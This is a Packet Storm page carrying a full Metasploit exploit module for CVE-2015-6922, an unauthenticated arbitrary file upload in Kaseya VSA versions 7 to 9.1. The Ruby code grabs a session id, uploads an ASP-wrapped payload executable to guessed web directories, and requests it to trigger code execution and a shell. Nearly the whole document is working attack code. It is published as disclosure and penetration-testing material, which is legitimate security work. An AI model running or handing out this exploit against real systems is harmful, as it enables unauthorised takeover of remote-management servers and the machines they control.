Lucene search

K
packetstormPedro RibeiroPACKETSTORM:133822
HistoryOct 02, 2015 - 12:00 a.m.

Kaseya VSA uploader.aspx Arbitrary File Upload

2015-10-0200:00:00
Pedro Ribeiro
packetstormsecurity.com
21

EPSS

0.944

Percentile

99.3%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions  
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary  
directory leading to arbitrary code execution with IUSR privileges. This module has been  
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-6922'],  
['ZDI', '15-449'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],  
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Kaseya VSA v7 to v9.1', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 23 2015'))  
end  
  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('ConfigTab','uploader.aspx')  
})  
  
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
  
def upload_file(payload, path, filename, session_id)  
print_status("#{peer} - Uploading payload to #{path}...")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),  
'vars_get' => {  
'PathData' => path,  
'qqfile' => filename  
},  
'data' => payload,  
'ctype' => 'application/octet-stream',  
'cookie' => 'sessionId=' + session_id  
})  
  
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')  
return true  
else  
return false  
end  
end  
  
  
def exploit  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('ConfigTab','uploader.aspx')  
})  
  
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/  
session_id = $1  
else  
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")  
end  
  
asp_name = "#{rand_text_alpha_lower(8)}.asp"  
exe = generate_payload_exe  
payload = Msf::Util::EXE.to_exe_asp(exe).to_s  
  
paths = [  
# We have to guess the path, so just try the most common directories  
'C:\\Kaseya\\WebPages\\',  
'C:\\Program Files\\Kaseya\\WebPages\\',  
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',  
'D:\\Kaseya\\WebPages\\',  
'D:\\Program Files\\Kaseya\\WebPages\\',  
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',  
'E:\\Kaseya\\WebPages\\',  
'E:\\Program Files\\Kaseya\\WebPages\\',  
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',  
]  
  
paths.each do |path|  
if upload_file(payload, path, asp_name, session_id)  
register_files_for_cleanup(path + asp_name)  
print_status("#{peer} - Executing payload #{asp_name}")  
  
send_request_cgi({  
'uri' => normalize_uri(asp_name),  
'method' => 'GET'  
})  
  
# Failure. The request timed out or the server went away.  
break if res.nil?  
# Success! Triggered the payload, should have a shell incoming  
break if res.code == 200  
end  
end  
  
end  
end  
`